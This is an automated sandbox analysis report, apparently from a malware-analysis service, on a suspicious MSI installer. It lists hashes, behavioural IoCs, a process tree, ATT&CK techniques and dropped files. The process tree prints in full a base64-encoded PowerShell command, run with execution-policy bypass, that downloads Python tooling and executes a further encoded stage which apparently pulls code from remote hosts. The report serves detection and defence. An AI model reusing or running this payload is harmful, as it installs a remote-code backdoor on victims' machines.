c112347dac62d08b238413757fcc94b8ed5f64586cf177ac8d06011f2995aab9

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
07-11-2023 19:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

instalador.msi
Size

1.1MB
MD5

bf5a65bb803890a434320e66966bbb27
SHA1

c1d80aca621a1378b073730918df535b82c552c1
SHA256

c112347dac62d08b238413757fcc94b8ed5f64586cf177ac8d06011f2995aab9
SHA512

3f4014f022acaa5c49fce8c80ed8bd51539c8889c9d23654bcdabecca85298418555187d0bbc4e1d16eaa41940f9c76677edc962bb6be233eda5eb73a6aa9d69
SSDEEP

24576:ekTYKztdfG8NQGafAdbe/IEFXsaV5C7eYVLsTPRDKe:ekTYefNQGoAhRaV5C77yPROe

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 4 IoCs

pid	Process
2772	MsiExec.exe
2772	MsiExec.exe
2772	MsiExec.exe
2772	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\Installer\f765773.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6211.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI61D2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\f765776.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\f765773.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI57E0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI59E4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5A42.tmp	msiexec.exe
File created	C:\Windows\Installer\f765776.ipi	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2172	msiexec.exe
2172	msiexec.exe
2600	powershell.exe
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1164	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1164	msiexec.exe
Token: SeRestorePrivilege	2172	msiexec.exe
Token: SeTakeOwnershipPrivilege	2172	msiexec.exe
Token: SeSecurityPrivilege	2172	msiexec.exe
Token: SeCreateTokenPrivilege	1164	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1164	msiexec.exe
Token: SeLockMemoryPrivilege	1164	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1164	msiexec.exe
Token: SeMachineAccountPrivilege	1164	msiexec.exe
Token: SeTcbPrivilege	1164	msiexec.exe
Token: SeSecurityPrivilege	1164	msiexec.exe
Token: SeTakeOwnershipPrivilege	1164	msiexec.exe
Token: SeLoadDriverPrivilege	1164	msiexec.exe
Token: SeSystemProfilePrivilege	1164	msiexec.exe
Token: SeSystemtimePrivilege	1164	msiexec.exe
Token: SeProfSingleProcessPrivilege	1164	msiexec.exe
Token: SeIncBasePriorityPrivilege	1164	msiexec.exe
Token: SeCreatePagefilePrivilege	1164	msiexec.exe
Token: SeCreatePermanentPrivilege	1164	msiexec.exe
Token: SeBackupPrivilege	1164	msiexec.exe
Token: SeRestorePrivilege	1164	msiexec.exe
Token: SeShutdownPrivilege	1164	msiexec.exe
Token: SeDebugPrivilege	1164	msiexec.exe
Token: SeAuditPrivilege	1164	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1164	msiexec.exe
Token: SeChangeNotifyPrivilege	1164	msiexec.exe
Token: SeRemoteShutdownPrivilege	1164	msiexec.exe
Token: SeUndockPrivilege	1164	msiexec.exe
Token: SeSyncAgentPrivilege	1164	msiexec.exe
Token: SeEnableDelegationPrivilege	1164	msiexec.exe
Token: SeManageVolumePrivilege	1164	msiexec.exe
Token: SeImpersonatePrivilege	1164	msiexec.exe
Token: SeCreateGlobalPrivilege	1164	msiexec.exe
Token: SeRestorePrivilege	2172	msiexec.exe
Token: SeTakeOwnershipPrivilege	2172	msiexec.exe
Token: SeRestorePrivilege	2172	msiexec.exe
Token: SeTakeOwnershipPrivilege	2172	msiexec.exe
Token: SeRestorePrivilege	2172	msiexec.exe
Token: SeTakeOwnershipPrivilege	2172	msiexec.exe
Token: SeRestorePrivilege	2172	msiexec.exe
Token: SeTakeOwnershipPrivilege	2172	msiexec.exe
Token: SeRestorePrivilege	2172	msiexec.exe
Token: SeTakeOwnershipPrivilege	2172	msiexec.exe
Token: SeRestorePrivilege	2172	msiexec.exe
Token: SeTakeOwnershipPrivilege	2172	msiexec.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1164	msiexec.exe
1164	msiexec.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2772	2172	msiexec.exe	29
PID 2172 wrote to memory of 2772	2172	msiexec.exe	29
PID 2172 wrote to memory of 2772	2172	msiexec.exe	29
PID 2172 wrote to memory of 2772	2172	msiexec.exe	29
PID 2172 wrote to memory of 2772	2172	msiexec.exe	29
PID 2172 wrote to memory of 2772	2172	msiexec.exe	29
PID 2172 wrote to memory of 2772	2172	msiexec.exe	29
PID 2772 wrote to memory of 2600	2772	MsiExec.exe	30
PID 2772 wrote to memory of 2600	2772	MsiExec.exe	30
PID 2772 wrote to memory of 2600	2772	MsiExec.exe	30
PID 2772 wrote to memory of 2600	2772	MsiExec.exe	30
PID 2600 wrote to memory of 2644	2600	powershell.exe	32
PID 2600 wrote to memory of 2644	2600	powershell.exe	32
PID 2600 wrote to memory of 2644	2600	powershell.exe	32
PID 2600 wrote to memory of 2644	2600	powershell.exe	32

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\instalador.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1164

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 15BA15F5D05DDBC463274EA5DF31F3FC
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss62AB.ps1"
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e CgAjACAAQgBsAG8AYwBrACAAZgBvAHIAIABkAGUAYwBsAGEAcgBpAG4AZwAgAHQAaABlACAAcwBjAHIAaQBwAHQAIABwAGEAcgBhAG0AZQB0AGUAcgBzAC4ACgBQAGEAcgBhAG0AKAApAAoACgBjAGQAIAAkAEUATgBWADoAcAB1AGIAbABpAGMACgAkAEYAbwBsAGQAZQByACAAPQAgACIAJAB7AEUATgBWADoAcAB1AGIAbABpAGMAfQBcAHAAZQBmAGkAbABlAC0AMgAwADIAMwAuADIALgA3ACIACgAkAEYAbwBsAGQAZQByADIAIAA9ACAAIgAkAHsARQBOAFYAOgBwAHUAYgBsAGkAYwB9AFwAcAB5AHQAaABvAG4AIgAKAGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABGAG8AbABkAGUAcgAyACAALQBQAGEAdABoAFQAeQBwAGUAIABDAG8AbgB0AGEAaQBuAGUAcgApACkAIAB7AAoAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAUgBJACAAaAB0AHQAcABzADoALwAvAGYAaQBsAGUAcwAuAHAAeQB0AGgAbwBuAGgAbwBzAHQAZQBkAC4AbwByAGcALwBwAGEAYwBrAGEAZwBlAHMALwA3ADgALwBjADUALwAzAGIAMwBjADYAMgAyADIAMwBmADcAMgBlADIAMwA2ADAANwAzADcAZgBkADIAYQA1ADcAYwAzADAAZQA1AGIAMgBhAGQAZQBjAGQAOAA1AGUANwAwADIANwA2ADgANwA5ADYAMAA5AGEANwA0ADAAMwAzADMANAAvAHAAZQBmAGkAbABlAC0AMgAwADIAMwAuADIALgA3AC4AdABhAHIALgBnAHoAIAAtAE8AdQB0AEYAaQBsAGUAIABwAGUAZgBpAGwAZQAuAHQAYQByAC4AZwB6AAoAIAAgACAAIAB0AGEAcgAgAC0AeAB2AHoAZgAgAHAAZQBmAGkAbABlAC4AdABhAHIALgBnAHoAOwAKACAAIAAgACAAUgBlAG4AYQBtAGUALQBJAHQAZQBtACAAJABGAG8AbABkAGUAcgAgACIAcAB5AHQAaABvAG4AIgAKACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAeQB0AGgAbwBuAC4AbwByAGcALwBmAHQAcAAvAHAAeQB0AGgAbwBuAC8AMwAuADkALgA2AC8AcAB5AHQAaABvAG4ALQAzAC4AOQAuADYALQBlAG0AYgBlAGQALQB3AGkAbgAzADIALgB6AGkAcAAgAC0ATwB1AHQARgBpAGwAZQAgAHAAeQB0AGgAbwBuAC4AegBpAHAAOwAKACAAIAAgACAARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAcAB5AHQAaABvAG4ALgB6AGkAcAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABwAHkAdABoAG8AbgA7AAoAfQAKAC4AXABwAHkAdABoAG8AbgBcAHAAeQB0AGgAbwBuAC4AZQB4AGUAIAAtAGMAIAAiACIAIgBpAG0AcABvAHIAdAAgAGIAYQBzAGUANgA0ADsAIABlAHgAZQBjACgAYgBhAHMAZQA2ADQALgBiADYANABkAGUAYwBvAGQAZQAoACcAYgBTAEEAOQBJAEMAYwB4AE4AVABVAHcATgBqAEEANABNAHoAWQA0AE0AVABZAG4AQwBtAGwAdABjAEcAOQB5AGQAQwBCAGkAWQBYAE4AbABOAGoAUQBnAFkAWABNAGcAWQBnAHAAcABiAFgAQgB2AGMAbgBRAGcAYwAyADkAagBhADIAVgAwAEkARwBGAHoASQBIAE4AegBDAG0AWgB5AGIAMgAwAGcAYwBtAEYAdQBaAEcAOQB0AEkARwBsAHQAYwBHADkAeQBkAEMAQgBqAGEARwA5AHAAWQAyAFUASwBhAFcAMQB3AGIAMwBKADAASQBIAGQAcABiAG4ASgBsAFoAeQBCAGgAYwB5AEIAMwBDAG0AUgBsAFoAaQBCAHcASwBHAE0AcwBJAEcANABwAE8AZwBvAGcASQBDAEEAZwBjAHoASQBnAFAAUwBCADMATABrADkAdwBaAFcANQBMAFoAWABrAG8AZAB5ADUASQBTADAAVgBaAFgAMAB4AFAAUQAwAEYATQBYADAAMQBCAFEAMABoAEoAVABrAFUAcwBJAEcATQBwAEMAaQBBAGcASQBDAEIAeQBaAFgAUgAxAGMAbQA0AGcAZAB5ADUAUgBkAFcAVgB5AGUAVgBaAGgAYgBIAFYAbABSAFgAZwBvAGMAegBJAHMASQBHADQAcABXAHoAQgBkAEMAbgBCAHkASQBEADAAZwBjAEMAaAB5AEoAMABoAEIAVQBrAFIAWABRAFYASgBGAFgARgB4AEUAUgBWAE4ARABVAGsAbABRAFYARQBsAFAAVABsAHgAYwBVADMAbAB6AGQARwBWAHQAWABGAHgARABaAFcANQAwAGMAbQBGAHMAVQBIAEoAdgBZADIAVgB6AGMAMgA5AHkAWABGAHcAdwBKAHkAdwBnAEoAMQBCAHkAYgAyAE4AbABjADMATgB2AGMAawA1AGgAYgBXAFYAVABkAEgASgBwAGIAbQBjAG4ASwBRAHAAMgBjAHkAQQA5AEkASABBAG8AYwBpAGQAVABUADAAWgBVAFYAMABGAFMAUgBWAHgAYwBUAFcAbABqAGMAbQA5AHoAYgAyAFoAMABYAEYAeABYAGEAVwA1AGsAYgAzAGQAegBJAEUANQBVAFgARgB4AEQAZABYAEoAeQBaAFcANQAwAFYAbQBWAHkAYwAyAGwAdgBiAGkAYwBzAEkAQwBkAFEAYwBtADkAawBkAFcATgAwAFQAbQBGAHQAWgBTAGMAcABDAG0AWgB6AEkARAAwAGcASgB5ADUAaQBjAG0ARgA2AGEAVwB4AHoAYgAzAFYAMABhAEMANQBqAGIARwA5ADEAWgBHAEYAdwBjAEMANQBoAGUAbgBWAHkAWgBTADUAagBiADIAMABuAEMAbQB4AHMASQBEADAAZwBXADIAWQBuAGEAbQBkAG8AYwAyAHQAawBPAFcAdABtAGUARABkADcAWgBuAE4AOQBKAHkAdwBnAFoAaQBkAHIAWgBqAFIAbQBhAGoAawB5AGUAbQBaAHIAYQBqAGsAeQBlADIAWgB6AGYAUwBjAHMASQBHAFkAbgBaAG0AdABxAE8AVABrAHoAZQBXAFkAegBPAFQATQB6AGUAMgBaAHoAZgBTAGMAcwBJAEcAWQBuAFoAMgBjADAATwBUAGgAcQBhAEcAZwB5AGUARABrADAATQB6AFIANwBaAG4ATgA5AEoAeQB3AGcAWgBpAGQAbwBhAEQAVQA0AE0AegBrAHcATQBEAFIAcQBhAEgAdABtAGMAMwAwAG4ATABDAEIAbQBKADIAbABpAGMAegBFAHgAZQBHAHQAawBPAEQAawAwAE0AMwB0AG0AYwAzADAAbgBYAFEAcABsAFoAUwBBADkASQBFAFoAaABiAEgATgBsAEMAbgBkAG8AYQBXAHgAbABJAEYAUgB5AGQAVwBVADYAQwBpAEEAZwBJAEMAQgBwAFoAaQBBAG4AUQBuAEoAdgBZAFcAUgAzAFoAVwB4AHMASgB5AEIAcABiAGkAQgB3AGMAagBvAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGkAYwBtAFYAaABhAHcAbwBnAEkAQwBBAGcAWgBtADkAeQBJAEcAdwBnAGEAVwA0AGcAYgBHAHcANgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBkAEgASgA1AE8AZwBvAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAMwBhAFgAUgBvAEkASABOAHoATABuAE4AdgBZADIAdABsAGQAQwBoAHoAYwB5ADUAQgBSAGwAOQBKAFQAawBWAFUATABDAEIAegBjAHkANQBUAFQAMABOAEwAWAAxAE4AVQBVAGsAVgBCAFQAUwBrAGcAWQBYAE0AZwBjAHoAbwBLAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEgATQB1AFkAMgA5AHUAYgBtAFYAagBkAEMAZwBvAFoAaQBkADcAYgBIADAAbgBMAEMAQgBqAGEARwA5AHAAWQAyAFUAbwBXAHoATQA0AE0AagBFAHMASQBEAFEAMABNAFQAZwBzAEkARABVAHgATgB6AGcAcwBJAEQAawA1AE8ARABNAHMASQBEAGMAegBNAFQARQBzAEkARABnAHkATwBUAFEAcwBJAEQAWQB5AE4AegBNAHMASQBEAEkAeABNAFQAawBzAEkARABFAHcATQBUAGcAcwBJAEQARQAzAE0ARABGAGQASwBTAGsAcABDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAegBMAG4ATgBsAGIAbQBRAG8AWgBpAGQAdwBlAFUATgB2AFoARwBVAGcATABTAEIANwBjADMATQB1AFoAMgBWADAAYQBHADkAegBkAEcANQBoAGIAVwBVAG8ASwBYADAAZwBmAEMAQgA3AGQAbgBOADkASQBIAHcAZwBlADMAQgB5AGYAUwBjAHUAWgBXADUAagBiADIAUgBsAEsAQwBrAHAAQwBpAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGsAZABDAEEAOQBJAEgATQB1AGMAbQBWAGoAZABpAGcAMgBOAFQAVQB6AE4AaQBrAHUAWgBHAFYAagBiADIAUgBsAEsAQwBrAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkARwBWADQAWgBXAE0AbwBZAGkANQBpAE4AagBSAGsAWgBXAE4AdgBaAEcAVQBvAGMAMwBSAHkASwBHAFIAMABLAFMAawBwAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB6AEwAbQBOAHMAYgAzAE4AbABLAEMAawBLAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEcAVgBsAEkARAAwAGcAVgBIAEoAMQBaAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBZAG4ASgBsAFkAVwBzAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGwAZQBHAE4AbABjAEgAUQA2AEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBIAEIAaABjADMATQBLAEkAQwBBAGcASQBHAHgAcwBMAG0ARgB3AGMARwBWAHUAWgBDAGcAbgBZADIARgB0AFoAWABKAGgATABXAFYAdABjAEgASgBsAGMAMgBFAHUAWQBXAE4AagBaAFgATgB6AFkAMgBGAHQATABtADkAeQBaAHkAYwBwAEMAaQBBAGcASQBDAEIAcABaAGkAQgBsAFoAVABvAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGkAYwBtAFYAaABhAHcAPQA9ACcAKQApADsAIABlAHgAaQB0ACgAKQAiACIAIgA7AAoA
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\MSI65580.LOG

Filesize
20KB

MD5
b6155238f1b4838327a94da1d39621f3

SHA1
4fb99c7c6b1d559e71a3b806cfaa6260787f5067

SHA256
d6adac73b8f0ee2c45822bd86b99e438553c4ea9f5e7d4a7f519d12564bd4b71

SHA512
532dcc73e5859fd23a9eb5738d3fb9c1b9ecdafc27d5c34f13007325d805f5292d0deb02fdd77cf7cccd1b22dc1e8c29402756a5edd3e2c7e1601d9317429ba3

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss62AA.ps1

Filesize
11KB

MD5
b5abb8c9a6ef46e319c4e0f4286ac980

SHA1
a4e064142edd01010cc1fbb4c14135993ccc3783

SHA256
040ae46c5b2eebefd5b59a4951ef795ebf0fa2e9cc48cc929d1cbb75e5ec21f5

SHA512
6e985cee3737f8bb4bcedeeee3bacebc6bd92589cc338cc9479cc908aa283be4b8d48482791d79b61f0434c45d54434e5910ac2ec283c3325cf81f6f12f385b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss62AB.ps1

Filesize
5KB

MD5
db36e802aa54a87bb056bb86ede0d861

SHA1
52903f826adf5eccfb1db75225ce9b5c631e751c

SHA256
c86b33136c7bea1ca85e2cc9ca458ba5adb450b2c27ba32d909b3bcb0edc1003

SHA512
ada4735800742cb75dd6adae7881e204659f2c2615698154ebd5777d8b604d42ecb025ecbde16e4d7d87b5a0c190525bd07ce6fbfc93ebeb2dc6620f24b6bd4d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SGDJ1409I3QRKQMT2LU2.temp

Filesize
7KB

MD5
7ee04eb3fd9e01455e98b34479bc823b

SHA1
5332ddc017d6831d1739ea84ef380db25450a338

SHA256
e40ac3b53ca5bca13e199632c9127d5886a1a1ce1134a894314c504639a9e8f7

SHA512
a6f61609832fa267ca449c8d4f0d98d246dba9453186606e4ef48926f0895ba8c5dce3e12fe3b4763da4f852a9a10df441566ba5420fc5378f577871d72adfb7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
7ee04eb3fd9e01455e98b34479bc823b

SHA1
5332ddc017d6831d1739ea84ef380db25450a338

SHA256
e40ac3b53ca5bca13e199632c9127d5886a1a1ce1134a894314c504639a9e8f7

SHA512
a6f61609832fa267ca449c8d4f0d98d246dba9453186606e4ef48926f0895ba8c5dce3e12fe3b4763da4f852a9a10df441566ba5420fc5378f577871d72adfb7

Download Submit
C:\Windows\Installer\MSI57E0.tmp

Filesize
364KB

MD5
ca95f207ec70ba34b46c785f7bcb5570

SHA1
25c0d45cb9f94892e2877033d06fe8909e5b9972

SHA256
8ac4b42fb36d10194a14c32f6f499a6ac6acb79adbec858647495ba64f6dd2bb

SHA512
c7003a2159f5adab0a3b4a4f3c0dd494d916062a57e84a23ccc18410fa394438d49208769027c641569b3025616e99ca1730a540846aaf1c5d91338b90008831

Download Submit
C:\Windows\Installer\MSI59E4.tmp

Filesize
364KB

MD5
ca95f207ec70ba34b46c785f7bcb5570

SHA1
25c0d45cb9f94892e2877033d06fe8909e5b9972

SHA256
8ac4b42fb36d10194a14c32f6f499a6ac6acb79adbec858647495ba64f6dd2bb

SHA512
c7003a2159f5adab0a3b4a4f3c0dd494d916062a57e84a23ccc18410fa394438d49208769027c641569b3025616e99ca1730a540846aaf1c5d91338b90008831

Download Submit
C:\Windows\Installer\MSI5A42.tmp

Filesize
364KB

MD5
ca95f207ec70ba34b46c785f7bcb5570

SHA1
25c0d45cb9f94892e2877033d06fe8909e5b9972

SHA256
8ac4b42fb36d10194a14c32f6f499a6ac6acb79adbec858647495ba64f6dd2bb

SHA512
c7003a2159f5adab0a3b4a4f3c0dd494d916062a57e84a23ccc18410fa394438d49208769027c641569b3025616e99ca1730a540846aaf1c5d91338b90008831

Download Submit
C:\Windows\Installer\MSI5A42.tmp

Filesize
364KB

MD5
ca95f207ec70ba34b46c785f7bcb5570

SHA1
25c0d45cb9f94892e2877033d06fe8909e5b9972

SHA256
8ac4b42fb36d10194a14c32f6f499a6ac6acb79adbec858647495ba64f6dd2bb

SHA512
c7003a2159f5adab0a3b4a4f3c0dd494d916062a57e84a23ccc18410fa394438d49208769027c641569b3025616e99ca1730a540846aaf1c5d91338b90008831

Download Submit
C:\Windows\Installer\MSI6211.tmp

Filesize
616KB

MD5
06e0529fe6867f9c70539152c7b9ca20

SHA1
9ca5f00f72ff4526494aa7a9ef9078f635cddbc5

SHA256
d2bd81b0d5d0e1b24f941b36c76ace67008abe13a9f3f28515efe9f110a0dc93

SHA512
39c779595dfe9b368c41d1e86686cec1cf90a65d118f3553a56e4434aa6b5a6ed9aec17cd2b7b5065ff93d67609d4ec4e89b6135fc3998ba1423788f869cf081

Download Submit
\Windows\Installer\MSI57E0.tmp

Filesize
364KB

MD5
ca95f207ec70ba34b46c785f7bcb5570

SHA1
25c0d45cb9f94892e2877033d06fe8909e5b9972

SHA256
8ac4b42fb36d10194a14c32f6f499a6ac6acb79adbec858647495ba64f6dd2bb

SHA512
c7003a2159f5adab0a3b4a4f3c0dd494d916062a57e84a23ccc18410fa394438d49208769027c641569b3025616e99ca1730a540846aaf1c5d91338b90008831

Download Submit
\Windows\Installer\MSI59E4.tmp

Filesize
364KB

MD5
ca95f207ec70ba34b46c785f7bcb5570

SHA1
25c0d45cb9f94892e2877033d06fe8909e5b9972

SHA256
8ac4b42fb36d10194a14c32f6f499a6ac6acb79adbec858647495ba64f6dd2bb

SHA512
c7003a2159f5adab0a3b4a4f3c0dd494d916062a57e84a23ccc18410fa394438d49208769027c641569b3025616e99ca1730a540846aaf1c5d91338b90008831

Download Submit
\Windows\Installer\MSI5A42.tmp

Filesize
364KB

MD5
ca95f207ec70ba34b46c785f7bcb5570

SHA1
25c0d45cb9f94892e2877033d06fe8909e5b9972

SHA256
8ac4b42fb36d10194a14c32f6f499a6ac6acb79adbec858647495ba64f6dd2bb

SHA512
c7003a2159f5adab0a3b4a4f3c0dd494d916062a57e84a23ccc18410fa394438d49208769027c641569b3025616e99ca1730a540846aaf1c5d91338b90008831

Download Submit
\Windows\Installer\MSI6211.tmp

Filesize
616KB

MD5
06e0529fe6867f9c70539152c7b9ca20

SHA1
9ca5f00f72ff4526494aa7a9ef9078f635cddbc5

SHA256
d2bd81b0d5d0e1b24f941b36c76ace67008abe13a9f3f28515efe9f110a0dc93

SHA512
39c779595dfe9b368c41d1e86686cec1cf90a65d118f3553a56e4434aa6b5a6ed9aec17cd2b7b5065ff93d67609d4ec4e89b6135fc3998ba1423788f869cf081

Download Submit
memory/2600-24-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2600-25-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2600-23-0x0000000073790000-0x0000000073D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2600-22-0x0000000073790000-0x0000000073D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2600-36-0x0000000073790000-0x0000000073D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-33-0x0000000073790000-0x0000000073D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-34-0x0000000073790000-0x0000000073D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-35-0x0000000073790000-0x0000000073D3B000-memory.dmp

Filesize
5.7MB

Download